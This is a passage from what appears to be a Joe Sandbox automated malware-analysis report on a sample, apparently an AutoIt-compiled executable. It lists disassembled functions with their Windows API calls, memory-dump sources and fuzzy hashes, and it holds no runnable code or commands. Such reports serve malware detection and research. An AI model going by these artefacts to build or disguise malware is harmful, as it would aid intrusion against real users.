                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ActiveChildEnumLongWindows
                                                                                      • String ID: T1_
                                                                                      • API String ID: 3814560230-2843546793
                                                                                      • Opcode ID: 84282dd175e099d0a4e21a5c14b793c3b268dea98fd8f04f758c1067576c4dcf
                                                                                      • Instruction ID: 8ed2fe656f571807ab565c6187bad95fbe0f2c0e763719c2d27651b4e832be9b
                                                                                      • Opcode Fuzzy Hash: 84282dd175e099d0a4e21a5c14b793c3b268dea98fd8f04f758c1067576c4dcf
                                                                                      • Instruction Fuzzy Hash: A521E079244201DFCB28DF68D850AA677E6FF5A320F291719E965CB3E0D7B0AC41DB60
                                                                                      Function 006098FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005BD1BA
                                                                                        • Part of subcall function 005BD17C: GetStockObject.GDI32(00000011), ref: 005BD1CE
                                                                                        • Part of subcall function 005BD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005BD1D8
                                                                                      • GetWindowRect.USER32(00000000,?), ref: 00609968
                                                                                      • GetSysColor.USER32(00000012), ref: 00609982
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                                      • String ID: static
                                                                                      • API String ID: 1983116058-2160076837
                                                                                      • Opcode ID: 7b922e9b0eae39eea0b5b6769115b89fcdea9794b37eb6d01f09eca6b5195a91
                                                                                      • Instruction ID: 0eea3b095402adb6f3c8b15186f625938d57119da10e084b479761b7729da84a
                                                                                      • Opcode Fuzzy Hash: 7b922e9b0eae39eea0b5b6769115b89fcdea9794b37eb6d01f09eca6b5195a91
                                                                                      • Instruction Fuzzy Hash: 14119A72550209AFDB04DFB8CC45AEA7BBAFB08304F041618F955E3280E734E811CB60
                                                                                      Function 00609617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetWindowTextLengthW.USER32(00000000), ref: 00609699
                                                                                      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 006096A8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LengthMessageSendTextWindow
                                                                                      • String ID: edit
                                                                                      • API String ID: 2978978980-2167791130
                                                                                      • Opcode ID: c43e66098ff090ccaec4e8abc41db943e56095112171fd9b9b7115d412d060fd
                                                                                      • Instruction ID: 1b696615bccb593a1d4490a2207508187c2819863fc025d659768cc7d5a65388
                                                                                      • Opcode Fuzzy Hash: c43e66098ff090ccaec4e8abc41db943e56095112171fd9b9b7115d412d060fd
                                                                                      • Instruction Fuzzy Hash: 2A119A71160208AAFB244FA4DC40AEB3B6BEB05368F104714F965972E1C7729C519B60
                                                                                      Function 005E5262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E52D5
                                                                                      • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 005E52F4
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoItemMenu_memset
                                                                                      • String ID: 0
                                                                                      • API String ID: 2223754486-4108050209
                                                                                      • Opcode ID: b273576b074ec7093e7089f62ec88ccf4ca737e5a2d289069e6dffe54ba14df3
                                                                                      • Instruction ID: 668c63a01bd11ab6e408b7297e58643a86d51e0035467d0c23dc73fc1c776f15
                                                                                      • Opcode Fuzzy Hash: b273576b074ec7093e7089f62ec88ccf4ca737e5a2d289069e6dffe54ba14df3
                                                                                      • Instruction Fuzzy Hash: 5C11E676901654ABDF28DF99D904B9D7FB9BB0A758F180015E981E7190F3B0ED04D790
                                                                                      Function 005F4D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 005F4DF5
                                                                                      • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 005F4E1E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Internet$OpenOption
                                                                                      • String ID: <local>
                                                                                      • API String ID: 942729171-4266983199
                                                                                      • Opcode ID: 67a4ea0536de5635c6d7af5de6b1afae844ecb85f437bb5828fef5ad9829efa3
                                                                                      • Instruction ID: 1e64f67c3b45f5e218dafb430cf6857e0be2bc8a28ee601899580c64ec44a457
                                                                                      • Opcode Fuzzy Hash: 67a4ea0536de5635c6d7af5de6b1afae844ecb85f437bb5828fef5ad9829efa3
                                                                                      • Instruction Fuzzy Hash: 5711A070501229BBDB258F51CC88EFBFEACFF06765F10862AF70596140D3785985CAE0
                                                                                      Function 005CA70C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 005D37A7
                                                                                      • ___raise_securityfailure.LIBCMT ref: 005D388E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FeaturePresentProcessor___raise_securityfailure
                                                                                      • String ID: (f
                                                                                      • API String ID: 3761405300-3630199914
                                                                                      • Opcode ID: 024b89f5d43ade241ece243baa378efa5628fb5da16da9c779747ffc309e65de
                                                                                      • Instruction ID: 795e8fe1cccfda3549bc78a32ef2723a0fa621ecc2994d9bce8737b5505d6d8a
                                                                                      • Opcode Fuzzy Hash: 024b89f5d43ade241ece243baa378efa5628fb5da16da9c779747ffc309e65de
                                                                                      • Instruction Fuzzy Hash: 1F21E2B5500324DAE714DF59E9956423BB6FB4C314F10697AE5098A3B1E3F2AA80CF85
                                                                                      Function 005FA82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005FA84E
                                                                                      • htons.WSOCK32(00000000,?,00000000), ref: 005FA88B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: htonsinet_addr
                                                                                      • String ID: 255.255.255.255
                                                                                      • API String ID: 3832099526-2422070025
                                                                                      • Opcode ID: d08a1b84c99aa5cf91d5ad8acdb30037a19e9ccfb0708de2209af72379b7d666
                                                                                      • Instruction ID: 96bb4b15b5e751d8ccb0434758d8e37377bdc0824bc41c17e7d3fb3f9410c39f
                                                                                      • Opcode Fuzzy Hash: d08a1b84c99aa5cf91d5ad8acdb30037a19e9ccfb0708de2209af72379b7d666
                                                                                      • Instruction Fuzzy Hash: 010126B5200309ABCB219F68C84AFADBB65FF44750F108826F61AA73D1C7B5E802C752
                                                                                      Function 005DB781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 005DB7EF
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 3850602802-1403004172
                                                                                      • Opcode ID: 75179c6bf089ff21488b1b3102ca2f374893390c930432acab273ee397e65eaf
                                                                                      • Instruction ID: 59de030abec46bbc09fd2dc285fba38844feb4e0369f02b915ce9adf909daf4b
                                                                                      • Opcode Fuzzy Hash: 75179c6bf089ff21488b1b3102ca2f374893390c930432acab273ee397e65eaf
                                                                                      • Instruction Fuzzy Hash: 6201F57160011AEBDB14EBA8CC569FE3BBABF86310B04061AF461573C2DB7058088760
                                                                                      Function 005DB67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000180,00000000,?), ref: 005DB6EB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 3850602802-1403004172
                                                                                      • Opcode ID: f7fa2355475de5b84cdce6ce4eea51d21226f166163af57812eac905523549c5
                                                                                      • Instruction ID: 4309012c2bd69fe21e33200d0af583d6edc43154b4b472e3f911b621256b4c4e
                                                                                      • Opcode Fuzzy Hash: f7fa2355475de5b84cdce6ce4eea51d21226f166163af57812eac905523549c5
                                                                                      • Instruction Fuzzy Hash: 53018471641009ABDB15EBA8C956BFE7BB9AB56340F11001AB40267281DB509E18C7B5
                                                                                      Function 005DB700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000182,?,00000000), ref: 005DB76C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: ComboBox$ListBox
                                                                                      • API String ID: 3850602802-1403004172
                                                                                      • Opcode ID: cf54b026e2cf7593bc675389c2729d1dc2ec5364749135d048891929b13bda2c
                                                                                      • Instruction ID: 5535254b71888d7744edc3e4b0bd664ddaefc1d1aefa4f8e248898dbf2296b20
                                                                                      • Opcode Fuzzy Hash: cf54b026e2cf7593bc675389c2729d1dc2ec5364749135d048891929b13bda2c
                                                                                      • Instruction Fuzzy Hash: 2F01D67264010AFBDB11E7A8D956FFE7BADBB56340F51001BB401B3392DB605E0987B5
                                                                                      Function 005C4D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __calloc_crt
                                                                                      • String ID: "f
                                                                                      • API String ID: 3494438863-3880916689
                                                                                      • Opcode ID: 9964fc32a910ecbd014ddfee1bd7f57c9c249f02b5ede58016bc3327930d91a4
                                                                                      • Instruction ID: debac218fc56850c32d3bbf3c38c0858c139f12ed15cef1f587015020329670e
                                                                                      • Opcode Fuzzy Hash: 9964fc32a910ecbd014ddfee1bd7f57c9c249f02b5ede58016bc3327930d91a4
                                                                                      • Instruction Fuzzy Hash: 0DF0A471309A039EE714AF99BC71F6A6F9AF754B24F10451EF202CA184E770CA414A94
                                                                                      Function 005A4024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadImageW.USER32(005A0000,00000063,00000001,00000010,00000010,00000000), ref: 005A4048
                                                                                      • EnumResourceNamesW.KERNEL32(00000000,0000000E,005E67E9,00000063,00000000,76090280,?,?,005A3EE1,?,?,000000FF), ref: 006141B3
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: EnumImageLoadNamesResource
                                                                                      • String ID: >Z
                                                                                      • API String ID: 1578290342-776615691
                                                                                      • Opcode ID: 78de3fef4e97da035a8ced43973ad3ca654e2b609086f8867e5576f902ea59cf
                                                                                      • Instruction ID: 383a0642a8e51cd0d8cd92e3c6ac723725cae67cdac237bb6696742fcc282bbd
                                                                                      • Opcode Fuzzy Hash: 78de3fef4e97da035a8ced43973ad3ca654e2b609086f8867e5576f902ea59cf
                                                                                      • Instruction Fuzzy Hash: EBF06D31640311BBE7204B1AAC4AFD63EAAE796BB5F141506F724EE1D0D6E094819A94
                                                                                      Function 005E7744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ClassName_wcscmp
                                                                                      • String ID: #32770
                                                                                      • API String ID: 2292705959-463685578
                                                                                      • Opcode ID: 0c05f4be3c8afa8798945396269d5626a7ae3154130fd9da8d1e82415dd64ecc
                                                                                      • Instruction ID: e855504db4bc9973cd643b0dafefef6e5e105e0d05ada5564ebd83f06f681c0f
                                                                                      • Opcode Fuzzy Hash: 0c05f4be3c8afa8798945396269d5626a7ae3154130fd9da8d1e82415dd64ecc
                                                                                      • Instruction Fuzzy Hash: 2FE092776042392BD720AAA59C0AE8BFFACEB95B60F01005AF905E3241D664A60587D4
                                                                                      Function 005DA631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 005DA63F
                                                                                        • Part of subcall function 005C13F1: _doexit.LIBCMT ref: 005C13FB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Message_doexit
                                                                                      • String ID: AutoIt$Error allocating memory.
                                                                                      • API String ID: 1993061046-4017498283
                                                                                      • Opcode ID: 92abacddf175bcff0f8b10601c5033878dff0e76f4a584bc000e409b135204a9
                                                                                      • Instruction ID: 42ae5cfc1951500cd7f5db587a29385ad1f2719e3a2b2a6d8a50732b1d4c59ad
                                                                                      • Opcode Fuzzy Hash: 92abacddf175bcff0f8b10601c5033878dff0e76f4a584bc000e409b135204a9
                                                                                      • Instruction Fuzzy Hash: 71D0C23128071932C22026982C1BFC97948AB96B51F040416BB08951C259E2958042D9
                                                                                      Function 0061AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetSystemDirectoryW.KERNEL32(?), ref: 0061ACC0
                                                                                      • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0061AEBD
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: DirectoryFreeLibrarySystem
                                                                                      • String ID: WIN_XPe
                                                                                      • API String ID: 510247158-3257408948
                                                                                      • Opcode ID: 1de36fc5ba3d4657c0df9521a635d26e950fab3929184382d7b73cbce55bd63b
                                                                                      • Instruction ID: f9929a53f620b419c1710e6cab7997306cb2c5ece0aab65d94b1519e6c7f6903
                                                                                      • Opcode Fuzzy Hash: 1de36fc5ba3d4657c0df9521a635d26e950fab3929184382d7b73cbce55bd63b
                                                                                      • Instruction Fuzzy Hash: B7E06D70C01509EFCB11DBE4D9489ECFBBAAB48300F189081E102B2260DB706A85DF62
                                                                                      Function 006086CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006086E2
                                                                                      • PostMessageW.USER32(00000000), ref: 006086E9
                                                                                        • Part of subcall function 005E7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005E7AD0
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FindMessagePostSleepWindow
                                                                                      • String ID: Shell_TrayWnd
                                                                                      • API String ID: 529655941-2988720461
                                                                                      • Opcode ID: 36d30c93b7dc5c54481e4a9fdec617eee056512e77f58462b88b207392a84b22
                                                                                      • Instruction ID: c2d214b61684d2d8a7f9037de280a706010cf034b937ee307a3c182a88ac6d68
                                                                                      • Opcode Fuzzy Hash: 36d30c93b7dc5c54481e4a9fdec617eee056512e77f58462b88b207392a84b22
                                                                                      • Instruction Fuzzy Hash: 2AD012313857687BF3786770AC0FFC67A19AB48B11F111815B785EA1D0C9E4E941C754
                                                                                      Function 00608698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006086A2
                                                                                      • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 006086B5
                                                                                        • Part of subcall function 005E7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005E7AD0
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
